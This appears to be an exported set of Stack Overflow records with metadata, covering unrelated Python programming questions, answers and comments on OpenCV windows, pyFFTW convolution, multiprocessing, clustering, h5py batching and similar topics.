has title: cv2.imshow image window placement is outside of viewable screen
has comment: http://stackoverflow.com/comment/81420997
has comment: http://stackoverflow.com/comment/81419985
upvote count: 26
tagged with: windows
has answer: http://stackoverflow.com/a/47235549
accepted answer: http://stackoverflow.com/a/47235549
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/58757269
possible better answer: http://stackoverflow.com/a/58757269
has body: I am running Anaconda install of python35 with cv2 install from menpo. I am having trouble with cv2.imshow() inconsistently placing the image window outside of the viewable screen when running code similar to the one below both as a standalone script and line by line in the console (cmd, spyder, ipython)... import cv2 img = cv2.imread('Image71.jpg',0) cv2.startWindowThread() cv2.namedWindow('image') cv2.imshow('image',img) cv2.waitKey(0) cv2.destroyAllWindows() I have also tried the above without cv2.starWindowThread() and cv2.namedWindow() with the same result. The window appears on my taskbar but is not in view, cv2.waitKey(0) responds to the keystroke, and I am not able to bring the window into view using any of the window arrangement shortcut keys for Windows 10 (e.g. alt+tab, Winkey + left, etc). My OS is Win10 version 1709. Any help is much appreciated, thx!
answer count: 2
score: 26

tagged-corpus
type: Tag
tag name: tagged-corpus
tags question: http://stackoverflow.com/q/47301140

http://stackoverflow.com/comment/99884892
has text: @Nodame, you can first call your stored procedure using sqlalchemy and then read results using pd.read_sql
type: Comment
comment on: http://stackoverflow.com/a/47328429
type: AnswerComment
score: 2

http://stackoverflow.com/comment/81438927
score: 0
type: AnswerComment
has text: thanks, but not close to the plot I provided. also the point pLoan = (0.70,0.61) is not part of the testSet. I am trying to determine point (0.70 , 0.61 ) on the plot but I don't see it
comment on: http://stackoverflow.com/a/47243840
type: Comment

http://stackoverflow.com/a/47372175
accepted answer of: http://stackoverflow.com/q/47370541
score: 3
upvote count: 3
has body: It seems you have missed a bias / intercept column and coefficient. Hypothesis for linear function should look like: H = theta_0 + theta_1 * x in your implementation it looks like as follows: H = theta_1 * x
answers question: http://stackoverflow.com/q/47370541
downvote count: 0
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/q/47305744
tagged with: scipy
favorite count: 0
type: Question
has body: I'm trying to implement a FFT convolution that mimics scipy.fftconvolve using pyfftw for performance and pictures as input : import numpy as np import pyfftw a = np.ones((6000, 4000), dtype='float32') b = np.kaiser(25, 8) b = np.outer(b, b).astype('float32') class fftconvolve: def __init__(self, A, B, domain, threads=8): MK = B.shape[0] NK = B.shape[1] M = A.shape[0] N = A.shape[1] if domain =="same": Y = M X = N elif domain == "valid": Y = M - MK + 1 X = N - NK + 1 elif domain == "full": Y = M + MK - 1 X = N + NK - 1 self.fft_A_obj = pyfftw.builders.rfft2(A, s=(M + MK -1, N + NK -1), threads=threads) self.fft_B_obj = pyfftw.builders.rfft2(B, s=(M + MK -1, N + NK -1), threads=threads) self.ifft_obj = pyfftw.builders.irfft2(self.fft_A_obj.output_array, s=(Y, X), threads=threads) def __call__(self, A, B): return self.ifft_obj(np.fft.ifftshift( np.fft.fftshift(self.fft_A_obj(A)) * np.fft.fftshift(self.fft_B_obj(B)) )) Calling it : plan = fftconvolve(a, b, "full", threads=8) c_1 = plan(a, b) c_1 Output : array([[ 3.89971137e-06, 3.51986018e-05, 1.24518745e-04, ..., 1.25271297e-04, 3.56316777e-05, 4.04627326e-06], [ 4.91737483e-05, 2.60021159e-04, 8.61040782e-04, ..., 8.63055116e-04, 2.61142646e-04, 4.95371969e-05], [ 1.26523402e-04, 8.49825097e-04, 2.90915114e-03, ..., 2.90881563e-03, 8.49568460e-04, 1.26304061e-04], ..., [ 1.28503540e-04, 8.52331228e-04, 2.91197700e-03, ..., 2.91016186e-03, 8.51134886e-04, 1.28111642e-04], [ 2.14206957e-05, 2.32703838e-04, 8.34190170e-04, ..., 8.34319100e-04, 2.32750244e-04, 2.14206957e-05], [ -8.42595455e-06, 2.29651105e-05, 1.12404508e-04, ..., 1.12760317e-04, 2.31778213e-05, -8.35505125e-06]], dtype=float32) Calling the scipy equivalent : c_2 = scipy.signal.fftconvolve(a, b, "full").astype(np.float32) c_2 Output : array([[ 5.47012860e-06, 3.68362089e-05, 1.26135841e-04, ..., 1.26135841e-04, 3.68362089e-05, 5.47012769e-06], [ 3.68362089e-05, 2.48057506e-04, 8.49407224e-04, ..., 8.49407224e-04, 2.48057506e-04, 3.68362089e-05], [ 1.261…
tagged with: convolution
has comment: http://stackoverflow.com/comment/81564269
has comment: http://stackoverflow.com/comment/81562120
has title: Convolution product in pyFFTW different from scipy
has comment: http://stackoverflow.com/comment/81614221
tagged with: python
accepted answer: http://stackoverflow.com/a/47494125
tagged with: pyfftw
has comment: http://stackoverflow.com/comment/81563899
linked to: http://stackoverflow.com/q/28468307
has comment: http://stackoverflow.com/comment/81564460
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47494125
has comment: http://stackoverflow.com/comment/81564395
tagged with: fftw
score: 1
has comment: http://stackoverflow.com/comment/81563782
answer count: 1
has comment: http://stackoverflow.com/comment/81580754
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81562551

http://stackoverflow.com/comment/81399345
comment on: http://stackoverflow.com/a/47224551
has text: so I am not sure but this error occures when I put the xp+= 15 UnboundLocalError: local variable 'xp' referenced before assignment
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/81681383
type: Comment
score: 0
type: QuestionComment
has text: Its happen ;) No problem... Nice weekend ;)
comment on: http://stackoverflow.com/q/47364257

http://stackoverflow.com/comment/85230393
has text: So the add_tasks doesn't get called from the Django process?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47263339
type: QuestionComment

http://stackoverflow.com/comment/81458243
comment on: http://stackoverflow.com/q/47253958
type: Comment
type: QuestionComment
has text: Have you seen `sklearn.train_test_split`?
score: 0

http://stackoverflow.com/a/47262061
score: 0
answers question: http://stackoverflow.com/q/47261903
has body: Using full Python 3.6 you can do (similarly than Ecir's answer) for key, value in stats.items(): printf(f'{key} - {value}') but being clearer about what is the key and the value and using the f-string interpolation.
type: Answer

http://stackoverflow.com/a/47316983
has comment: http://stackoverflow.com/comment/89375764
has comment: http://stackoverflow.com/comment/81590197
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81629123
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47315176
has comment: http://stackoverflow.com/comment/81621844
has comment: http://stackoverflow.com/comment/81585208
has body: The use-case is clear, but is not yet implemented, though it is getting closer. (Canopy 2.1 can work with multiple different environments, but not yet simultaneously.) I do expect multiple simultaneous running kernels to be available in 2018. Meanwhile, the workaround is the same as before -- develop and test your code in the Canopy GUI, but run your long production runs in Canopy Command Prompts using qtconsole or ipython or plain python. The current version of Canopy is 2.1.6 FWIW: as a feature request, I'm not sure that this is really an SO-question.
has comment: http://stackoverflow.com/comment/81590699
answers question: http://stackoverflow.com/q/47315176
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/89377402

http://stackoverflow.com/comment/81603949
has text: I hope this meet requirements now
comment on: http://stackoverflow.com/q/47325845
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81460968
has text: @AntonvBR I don't believe you can use boolean masks with `iloc`, in which case you must use the other :-)
comment on: http://stackoverflow.com/q/47254954
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/47272742
has comment: http://stackoverflow.com/comment/81496456
accepted answer: http://stackoverflow.com/a/47272774
upvote count: 1
favorite count: 0
type: Question
tagged with: notepad++
linked to: http://stackoverflow.com/q/3840843
downvote count: 5
tagged with: python
has body: how do I convert the first letter of each of the below from upper case to lowere case? For example SentMessage would become sentMessage and NotAttemptedCreditLimitReached would become notAttemptedCreditLimitReached ... etc list of words below. They are just in a text file. SentMessage DeliverySucceeded DeliveryFailed DeliveryTimedOut NotAttemptedCreditLimitReached NotAttemptedChargingFailure SubscriptionFailed SentReportSMDeliveryStatus FailedToSendReportSMDeliveryStatus ReportSMSucceeded ReportSMFailed Was looking at doing it notepadd++ initially, but open to other suggestions bash/python ... etc EDIT1 - the solution $ cat testw SentMessage DeliverySucceeded DeliveryFailed DeliveryTimedOut NotAttemptedCreditLimitReached NotAttemptedChargingFailure SubscriptionFailed SentReportSMDeliveryStatus FailedToSendReportSMDeliveryStatus ReportSMSucceeded ReportSMFailed $ sed -i 's/[A-Z]/\L&amp;/' testw $ cat testw sentMessage deliverySucceeded deliveryFailed deliveryTimedOut notAttemptedCreditLimitReached notAttemptedChargingFailure subscriptionFailed sentReportSMDeliveryStatus failedToSendReportSMDeliveryStatus reportSMSucceeded reportSMFailed
duplicate of: http://stackoverflow.com/q/3840843
has answer: http://stackoverflow.com/a/47272774
has title: how do I convert the first letter of every word in a list from upper case to lower case?
type: AnsweredQuestion
tagged with: bash
linked to: http://stackoverflow.com/q/43705853
score: -4
answer count: 1

http://stackoverflow.com/q/47340542
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81633406
accepted answer: http://stackoverflow.com/a/47340560
tagged with: python
downvote count: 6
has title: TypeError: 'function' object is not iterable' Python 3
type: AnsweredQuestion
upvote count: 0
answer count: 3
has answer: http://stackoverflow.com/a/47340621
has answer: http://stackoverflow.com/a/47340573
possible better answer: http://stackoverflow.com/a/47340573
has answer: http://stackoverflow.com/a/47340560
tagged with: file
tagged with: error-handling
has comment: http://stackoverflow.com/comment/81633517
has body: I'm trying to write a program that will open a text file from the web consisting of 10,000 words, then 'clean' the file to get rid of nonsense words, such as 'aa'. I eventually want to use these words to do other things so I want to add the non 'non-sense' words to be put into a new list. Every time i try to run this I run into the error code TypeError: 'function' object is not iterable. import urllib.request def readWordList(): response = urllib.request.urlopen("http://www.mit.edu/~ecprice/wordlist.10000") html = response.read() data = html.decode('utf-8').split() return data clean = readWordList() def clean(aList): newList = [] for word in aList: if range(len(word)) &gt;= 2: newList.append(word) return newList clean(clean)
score: -6
favorite count: 0

http://stackoverflow.com/q/47285978
tagged with: docker-compose
tagged with: pydoc
has title: TypeError: 'NoneType' object is not callable + using docker image
score: 0
has comment: http://stackoverflow.com/comment/81522940
answer count: 1
tagged with: dockerfile
has body: I am loading the class dynamically in python using pydoc locate. The class loads successfully when I run the project from eclipse. from pydoc import locate my_class = locate('my_package.my_module.MyClass') my_instance =my_class() Now, I created a Dockerfile and the docker build is successful. When I run the docker image, the class is not loaded and instance is not created. It shows this error TypeError: 'NoneType' object is not callable
type: Question
has answer: http://stackoverflow.com/a/47870107
tagged with: python
type: UnansweredQuestion
tagged with: docker

http://stackoverflow.com/a/47311885
downvote count: 0
type: Answer
has body: You seem to be importing numpy in the code you give, therefore I will take that to mean that library is available to you. Numpy lets you read in data very easily using numpy.loadtxt(). You can then create a for loop which goes through columns 1 to 3 and plots data against column 0 (time). import numpy as np import matplotlib.pyplot as plt data = np.loadtxt('walk-shoe.csv', delimiter=',', dtype=float) print (data) #[[ 0. 1.0969 9.7721 0.614 ] # [ 20. 1.1146 9.7501 0.7444] # [ 40. 1.1146 9.7501 0.7444] # [ 60. 1.0124 9.7151 0.7169] # [ 79. 1.0124 9.7151 0.7169] # [ 100. 1.0927 9.7324 0.7356] # [ 120. 1.0927 9.7324 0.7356]] for i in range(1,data.shape[1]): plt.plot(data[:,0], data[:,i], label='id %s' %i) plt.legend() plt.show()
upvote count: 4
answers question: http://stackoverflow.com/q/47310851
score: 4

http://stackoverflow.com/a/47237460
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47237159
type: Answer
answers question: http://stackoverflow.com/q/47237159
has body: We can use groupby and isin based on boolean indexing i.e new = d.loc[d.groupby('Item')['Revision'].idxmax()] # Item Revision Status #1 Submission#1 1 A #4 Submission#2 2 A #6 Submission#3 1 P sub = new[new['Status'] == 'P']['Item'] #6 Submission#3 #Name: Item, dtype: object late = d[d['Item'].isin(sub)] Output late : Item Revision Status 5 Submission#3 0 R 6 Submission#3 1 P
score: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/81432755
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47241107
has text: Just tested: `conda install graphviz` worked on Windows 7 with Python 2.7 for me.

io
tags question: http://stackoverflow.com/q/47349740
type: Tag
tag name: io
tags question: http://stackoverflow.com/q/47291973
tags question: http://stackoverflow.com/q/47355106
tags question: http://stackoverflow.com/q/47240509
tags question: http://stackoverflow.com/q/47234997

http://stackoverflow.com/q/47232679
has title: Python multiprocessing pool swallows exception from first chunk's input
tagged with: multiprocessing
type: Question
upvote count: 2
downvote count: 0
answer count: 1
tagged with: python
accepted answer: http://stackoverflow.com/a/47244822
favorite count: 0
score: 2
type: AnsweredQuestion
has body: I'm writing a script that reads a bunch of files, and then processes the rows from all of those files in parallel. My problem is that the script behaves strangely if it can't open some of the files. If it's one of the later files in the list, then it processes the earlier files, and reports the exception when it gets to the bad file. However, if it can't open one of the first files in the list, then it processes nothing, and doesn't report an exception. How can I make the script report all exceptions, no matter where they are in the list? The key problem seems to be the chunk size of pool.imap(). If the exception occurs before the first chunk is submitted, it fails silently. Here's a little script to reproduce the problem: from multiprocessing.pool import Pool def prepare(): for i in range(5): yield i+1 raise RuntimeError('foo') def process(x): return x def test(chunk_size): pool = Pool(10) n = raised = None try: for n in pool.imap(process, prepare(), chunksize=chunk_size): pass except RuntimeError as ex: raised = ex print(chunk_size, n, raised) def main(): print('chunksize n raised') for chunk_size in range(1, 10): test(chunk_size) if __name__ == '__main__': main() The prepare() function generates five integers, then raises an exception. That generator gets passed to pool.imap() with chunk size from 1 to 10. Then it prints out the chunk size, number of results received, and any exception raised. chunksize n raised 1 5 foo 2 4 foo 3 3 foo 4 4 foo 5 5 foo 6 None None 7 None None 8 None None 9 None None You can see that the exception is properly reported until the chunk size increases enough that the exception happens before the first chunk is submitted. Then it silently fails, and no results are returned.
has answer: http://stackoverflow.com/a/47244822

http://stackoverflow.com/comment/81505113
type: QuestionComment
comment on: http://stackoverflow.com/q/47244913
has text: What I'm thinking is the XINETD process calls script.py and the commands inside the script are returned across the network connection to the user. When those commands involve raw_input, this requires user interaction, only the network socket on the client side belongs to telnet, it's not a python process, so it probly doesn't know how to interpret or otherwise handle the raw_input request. So it just hangs there rather than displaying text. While telnet to IP:port can execute a script (tasks on the server), I'm not sure this can be used for an interactive script.
score: 0
type: Comment

http://stackoverflow.com/q/47321133
favorite count: 0
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47333211
answer count: 3
possible better answer: http://stackoverflow.com/a/63697796
tagged with: pandas
has answer: http://stackoverflow.com/a/47333211
has answer: http://stackoverflow.com/a/63697796
tagged with: hierarchical-clustering
has title: sklearn Hierarchical Agglomerative Clustering using similarity matrix
type: Question
has body: Given a distance matrix, with similarity between various professors : prof1 prof2 prof3 prof1 0 0.8 0.9 prof2 0.8 0 0.2 prof3 0.9 0.2 0 I need to perform hierarchical clustering on this data, where the above data is in the form of 2-d matrix data_matrix=[[0,0.8,0.9],[0.8,0,0.2],[0.9,0.2,0]] I tried checking if I can implement it using sklearn.cluster AgglomerativeClustering but it is considering all the 3 rows as 3 separate vectors and not as a distance matrix. Can it be done using this or scipy.cluster.hierarchy?
score: 12
upvote count: 12
downvote count: 0
has answer: http://stackoverflow.com/a/61567116
tagged with: scikit-learn
tagged with: python

http://stackoverflow.com/comment/81515446
score: 0
has text: Is there anyway to write the result to a new XML-file?
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47281818

http://stackoverflow.com/comment/81450881
comment on: http://stackoverflow.com/a/47250247
type: Comment
has text: I did it, but nothing has changed. post with id 4 exists, but the link does not work [id 4](https://prnt.sc/h9gwtq) . I'm using python3
score: 0
type: AnswerComment

http://stackoverflow.com/q/47250091
has comment: http://stackoverflow.com/comment/81450996
answer count: 0
type: UnansweredQuestion
tagged with: pyqt4
has comment: http://stackoverflow.com/comment/81451060
has title: Why isn't my main Window Showing up in This GUI which i haven't even stated in PyQt4 Python
has comment: http://stackoverflow.com/comment/81450727
has comment: http://stackoverflow.com/comment/81451358
tagged with: qtgui
has comment: http://stackoverflow.com/comment/81451071
has comment: http://stackoverflow.com/comment/81450397
downvote count: 0
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/81450979
tagged with: python
has body: I was going to write a PyQt application when i was setting the main screen up i realize while running that my main window is not showing up and i also have a warning saying parameters flag unfilled in PyCharm import sys from PyQt4 import QtGui app = QtGui.Application(sys.argv) main_window = QtGui.QWidget() # this where i am getting a warning main_window.show()
has comment: http://stackoverflow.com/comment/81450682
favorite count: 0
type: Question

http://stackoverflow.com/a/47314151
score: 0
has body: Look more carefully to your own example: you have a list of dictionaries with two keys : they are not nested. {"id": 28, "name": "Action"} row['genres'].'name' is wrong for the syntax and for what you are trying to do: row['genres']['name'] would mean: {"id": { "name": "Action"} } So try take name attributes like: print(row['genres'], row['name']) for a neat example, see also the doc: https://docs.python.org/2/library/csv.html#csv.DictReader
type: Answer
answers question: http://stackoverflow.com/q/47314034

http://stackoverflow.com/q/47241414
answer count: 1
has comment: http://stackoverflow.com/comment/81433633
has comment: http://stackoverflow.com/comment/81433980
favorite count: 0
type: Question
has body: Sorry, may be this is silly question, but its very confusing to me. Let's suppose we have the following classes: class A(): def say(self): print("A") class B(A): def say(self): print("B") class C(B): def say(self,*args, **kwargs): return super(C, self).say(*args, **kwargs) I am accessing parent method in child, and it prints B, but I want to access method from class A as we are getting access from class B. I know we can add super in class B, but I don't want to modify class B. so is there any option to get method from A directly in class C?
has answer: http://stackoverflow.com/a/47241561
has title: Call grandparent method in grand child class
tagged with: python
has comment: http://stackoverflow.com/comment/81433393
has comment: http://stackoverflow.com/comment/81433411
upvote count: 2
type: AnsweredQuestion
score: 2
downvote count: 0
tagged with: super
accepted answer: http://stackoverflow.com/a/47241561

http://stackoverflow.com/a/47337912
answers question: http://stackoverflow.com/q/47337625
score: 2
downvote count: 0
has body: There are two things. First, from a design standpoint it's a bit odd to have the execute flag be at the class-level. It's usually better to have it be a flag on each class instance. Second, you have a race condition. The execute flag is accessed by more than one thread, and not protected by a synchronization primitive, such as a mutex. This means that the terminate() call can be run (and the flag set) after any worker thread checks the flag, but before that thread tries to dequeue the next filename. Because you're calling get() without a timeout, the worker thread will hang here, and the main thread will block in the t.join() call. Deadlock ensues. There are many ways around this. You can use a thread-synchronization primitive such as a mutex to protect the execute flag, or use a threading.Event object in place of a simple boolean. Another, and in my opinion simpler, solution is to send a "sentinel" value on the same queue, which indicates that the thread should quit. It looks like you're sending string filenames, so an empty string could be a good choice. (None is also commonly used.) The work-loop for each thread now looks like this: def run(self): while True: self.filename = self.fileQueue.get() if self.filename == '': return # Process file Rather than the terminate() static method, the main thread places an empty string (i.e., fileQueue.enqueue('')) for each worker thread you have.
upvote count: 2
type: Answer
has comment: http://stackoverflow.com/comment/81628011
has comment: http://stackoverflow.com/comment/81630064

http://stackoverflow.com/comment/81610936
has text: I'd say ditch Django and use SQLAlchemy. The search term you're looking for is "multi tenant" or so.
type: Comment
comment on: http://stackoverflow.com/q/47330041
type: QuestionComment
score: 1

http://stackoverflow.com/a/47233133
downvote count: 0
upvote count: 2
has body: You need to convert the data to a standard before stores in the dict (like lower). After storage there is no way to search for case insensitive inside dict ou set, because this search are made by hash.
accepted answer of: http://stackoverflow.com/q/47232757
type: Answer
score: 2
answers question: http://stackoverflow.com/q/47232757
type: AcceptedAnswer

http://stackoverflow.com/comment/81629976
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47338273
has text: @user2916886 I think so but not sure about that, sorry.

http://stackoverflow.com/comment/81475455
type: Comment
type: QuestionComment
has text: @xyres, yes I have `proxy.load` inside `etc/apache2/mods-enabled/`
comment on: http://stackoverflow.com/q/47251589
score: 0

http://stackoverflow.com/comment/81451380
comment on: http://stackoverflow.com/q/47250571
score: 0
has text: error F:\aaa\1\homerun>python hometrial.py product_name: Sunrise Simulator Alarm Clock Traceback (most recent call last): File "hometrial.py", line 33, in <module> print("desc: " + desc) TypeError: must be str, not Tag
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81550791
score: 0
has text: Okay, is there a way that I could manipulate this so that I could traverse the pages? Or is a "click" necessary in activating this event handler? Also, what tool did you use to figure this out and what was the process in doing so? I thought I understood what you did but realized I actually do not. Thanks!
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47299562

http://stackoverflow.com/q/47325526
upvote count: 1
has comment: http://stackoverflow.com/comment/81601957
favorite count: 0
type: Question
has body: Im generating a coverage report with nosetest using the following command: nosetests --exe --with-coverage --cover-html --cover-package=Mypackage Tests/ In my tests Im using some classes and almost all classes are found except one thats called: TestCasesFilter After trying some thigns I found out that when I rename the class to something else e.g OneTestCasesFilter the class is added to the coverage report. Our naming convention requires us to name the class after the table in the datbase that is written to so in this case TestCases. Is it possible to add the class to the coverage report without renaming the class? Im using: python 2.7.14 coverage 4.4.1 nose 1.3.7
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81602709
has comment: http://stackoverflow.com/comment/81602086
tagged with: python
has comment: http://stackoverflow.com/comment/84180245
has comment: http://stackoverflow.com/comment/81602430
has comment: http://stackoverflow.com/comment/81602674
tagged with: nose
has answer: http://stackoverflow.com/a/48628114
has title: Nosetest coverage not showing classes starting with Test
tagged with: code-coverage
score: 1
answer count: 1
downvote count: 0

http://stackoverflow.com/comment/81417970
comment on: http://stackoverflow.com/q/47232431
type: Comment
type: QuestionComment
has text: You mean you didn't know a function can return values?
score: 0

http://stackoverflow.com/a/47225708
downvote count: 0
answers question: http://stackoverflow.com/q/47225621
type: AcceptedAnswer
has body: Each module has its own scope (or namespace, if that terminology is more familiar to you). If you want to access random from module2, you need to import it in module2. The interpreter shares the scope of the module you execute, so only variables declared in the global namespace of that module will be accessible. If you want to access random from the interpreter having only imported module2, you'll need to specify module1.random. Alternatively, you can replace import module1 with from module1 import *. That will copy over everything, including the reference to random. So random will be accessible globally.
accepted answer of: http://stackoverflow.com/q/47225621
upvote count: 6
type: Answer
score: 6
has comment: http://stackoverflow.com/comment/81401589

http://stackoverflow.com/q/47313712
favorite count: 0
has body: I'm currently trying to write a bot to play tetris on tetrisfriends.com to practice machine-learning, but I've become stuck. I'm trying to find a way to read the players score from the game but Tesseract doesn't recognize the font/numbers and I don't think I can retrain Tesseract to recognize the numbers either because it isn't a full font being used, just numbers. The image that I'm trying to read the numbers from is this: https://i.sstatic.net/7mCsv.jpg When I use Tesseract I can get it to recognize other words on the page, just not the numbers which is the part I need. Does anyone have a way to do this, either by retraining Tesseract, another method, or any other way?
tagged with: tesseract
tagged with: opencv
type: AnsweredQuestion
has title: How to recognize numbers in an image in Python?
has answer: http://stackoverflow.com/a/47314561
tagged with: python
tagged with: artificial-intelligence
type: Question
downvote count: 4
answer count: 1
score: -3
tagged with: machine-learning
accepted answer: http://stackoverflow.com/a/47314561
upvote count: 1

http://stackoverflow.com/q/47298741
linked to: http://stackoverflow.com/q/8056130
score: 0
has title: how to create an immutable object in python?
has body: I was wondering, if I do not create setters in my class definition, then essentially I can create an immutable object following the class model, right? What do you think? There might be other ways to go also.
type: Question
linked to: http://stackoverflow.com/q/4828080
answer count: 0
linked to: http://stackoverflow.com/q/4996815
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81548908
has comment: http://stackoverflow.com/comment/81548946
has comment: http://stackoverflow.com/comment/81548921
tagged with: python
has comment: http://stackoverflow.com/comment/81548892

http://stackoverflow.com/comment/81673462
comment on: http://stackoverflow.com/a/47342148
score: 0
has text: But if you wait only a short time in `getch`, you can also add a check in the function to do the update more frequently.
type: Comment
type: AnswerComment

http://stackoverflow.com/a/47386944
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/47347831
score: 0
has body: Under Linux, specify which directory Jupyter notebook uses to locate the notebooks with the command: jupyter notebook --notebook-dir=&lt;path to notebook location&gt; I have this aliased in my .bashrc file to jupytern. In Windows I created a desktop shortcut and specified the notebook directory as: C:\python36\Scripts\jupyter-notebook.exe --notebook-dir=&lt;path to notebook locations&gt; You need to change the path to the jupyter-notebook.exe file to where it is on your installation.
answers question: http://stackoverflow.com/q/47347831

http://stackoverflow.com/comment/81490385
has text: IAMDIETINGIEATQUINCEJELLYLOTSOFGROUNDMAIZEGIVESVARIETYICOOKRHUBARBANDSODAWEEPANEWORPUTONEXTRAFLESH WHATAMIEVENREADINGIHAVENOIDEA
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47269716

http://stackoverflow.com/a/47343140
type: AcceptedAnswer
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47342838
has comment: http://stackoverflow.com/comment/81638597
answers question: http://stackoverflow.com/q/47342838
has body: Can anyone help me understand why is it that string1 needs to be a string type before I get my desired dump®.txt? urllib does not support unicode, because urls can contain ASCII characters, by definition. There is some crappy code in Python 2 that tries to do the right thing if you pass a unicode object, and it's buggy. Passing a unicode object to urllib.unquote is user error - don't do that. This is correct: print urllib.unquote_plus(string1.encode())
type: Answer
has comment: http://stackoverflow.com/comment/94138842
score: 1
has comment: http://stackoverflow.com/comment/94139130

http://stackoverflow.com/q/47381845
type: UnansweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/109242641
score: 4
has body: I'm training a neural net and the training set I have is stored on a 1.5Tb hdf5 file which is segmented into 125 groups (grp0...grp124). Each group contains 2 datasets 'x' and 'y' which were numpy arrays saved to hdf5 format. Each dataset x and y consists of roughly 10,000 training examples give or take a few hundred (the groups are not uniform in size, about 1.2 million training examples total). What I want to do is generate random training minibatchs on the fly from this hdf5 file. Right now, the code I have for generating such a batch looks like this: #grps is a dictionary of group sizes (they are not exactly uniform) def data_gen(PATH,grps,batch_size=32): while(True): pick_grp = random.randint(0,len(grps)-1) size = grps['grp_'+str(pick_grp)] indices = random.sample(range(size),batch_size) with h5py.File(PATH,'r') as f: X = f['grp'+str(pick_grp)]['x'][indices] Y = f['grp'+str(pick_grp)]['y'][indices] yield (X,Y) As you can see, what I'm trying to do is pick a random grp, and then from that grp pick a random batch_sized number of training examples. With numpy arrays, this slicing would have worked, but apparently h5py does not support this kind of slicing of a dataset, I get the error TypeError: Indexing elements must be in increasing order when I try to run this code. Alternatively, I could manually construct a batch one training example at a time using a for-loop, but I assume that would completely slow down my code. I run mini-batches using a GeForce 1080Ti so training on one single mini-batch is very fast. I don't want to be bottlenecked by the CPU process of constructing mini-batches. Is there a clever way to do what I want to do? I've also considered simply choosing a random starting index and then grabbing a mini-batch from the grps like: i = random.randint(0,size-batch_size-1) X=f['grp'+str(pick_grp)]['x'][i:i+batch_size] and I could shuffle the mini-batch after I grab it. But this means that adjacent training examples will likely always appear in the same…
has comment: http://stackoverflow.com/comment/81716395
tagged with: h5py
has answer: http://stackoverflow.com/a/55131479
answer count: 1
tagged with: hdf5
tagged with: python
favorite count: 0
upvote count: 4
type: Question
has title: Getting random array elements from hdf5
has comment: http://stackoverflow.com/comment/81716302

http://stackoverflow.com/q/47326257
downvote count: 2
has answer: http://stackoverflow.com/a/47326320
favorite count: 0
type: Question
duplicate of: http://stackoverflow.com/q/257844
has comment: http://stackoverflow.com/comment/81603433
tagged with: linux
has comment: http://stackoverflow.com/comment/81603686
has comment: http://stackoverflow.com/comment/81603223
has comment: http://stackoverflow.com/comment/81603205
tagged with: python
tagged with: shell
has title: What is the fastest way to fill up disk space
has comment: http://stackoverflow.com/comment/81603241
score: 2
upvote count: 4
tagged with: bash
answer count: 2
has answer: http://stackoverflow.com/a/47326351
linked to: http://stackoverflow.com/q/257844
has body: I've got a big disk worth few TBs ( 5 TBs ) and i need fill up this disk space to about 95%, this is a linux centos box. I've tried dd as in dd if=/dev/zero of=o_File1.img bs=209715200 count=1000 even tried running in a loop like #!/bin/bash count_=0 parallel_=10 BS=2097152000 COUNT=100 while [ $count_ -lt $parallel_ ] do file="Dummy_DD_BS_"$BS"_$(date +%Y%M%d%H%m%s)_$count_.img" echo $file `dd if=/dev/zero of=$file bs=$BS count=$COUNT &gt; /dev/null 2&gt;&amp;1 &amp;` count_=$((count_+1)) done but 5 TB seems like a hell lot. is there a faster method, I'm Okay with any scripts python/perl/bash or anything, I'm looking for a fast optimized solution Edit: Okay so following the quickly-create-a-large-file-on-a-linux-system did not really solve much anything case 1 : dd time dd if=/dev/zero of=filename10 bs=1G count=10 10+0 records in 10+0 records out 10737418240 bytes (11 GB) copied, 34.0468 s, 315 MB/s real 0m34.108s user 0m0.000s sys 0m13.498s so an estimated around 3 - 4 hours to fill this 5 TB Case 2 : fallocate fallocate failed: Operation not supported its a custom file system not the popular ext* Case 3 : truncate this is the weirdest ones it doesn't really fill the disk this seems to be just reserving the space for the file so definitely not suiting my requirements so is there a better solution or I have to live with dd or create smaller partition to test this
tagged with: perl
type: UnansweredQuestion

http://stackoverflow.com/q/47237378
tagged with: decimal
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47247809
tagged with: numbers
has comment: http://stackoverflow.com/comment/81425001
has answer: http://stackoverflow.com/a/47247809
has body: I am trying to check if an object is an instance of a number of any type (int, float, Fraction, Decimal, etc.). I came across this question and its answer: How to properly use python's isinstance() to check if a variable is a number? However, I would like to exclude complex numbers such as 1j. The class numbers.Real looked perfect but it returns False for Decimal numbers. from numbers Real from decimal import Decimal print(isinstance(Decimal(1), Real)) # False In contradiction, it works fine with Fraction(1), for example. The documentation describes some operations which should work with the number. I tested them without any error on a decimal instance. Moreover, decimal objects cannot contain complex numbers. So, why should isinstance(Decimal(1), Real) return False?
answer count: 1
score: 16
linked to: http://stackoverflow.com/q/4187185
downvote count: 0
favorite count: 0
type: Question
tagged with: python
has title: Why isn't 'decimal.Decimal(1)' an instance of 'numbers.Real'?
upvote count: 16
tagged with: isinstance
has comment: http://stackoverflow.com/comment/81425173

http://stackoverflow.com/comment/81695384
has text: do you have to use negative lookbehind? can't you use negative look ahead? ^(?!(?:https))(.*)$
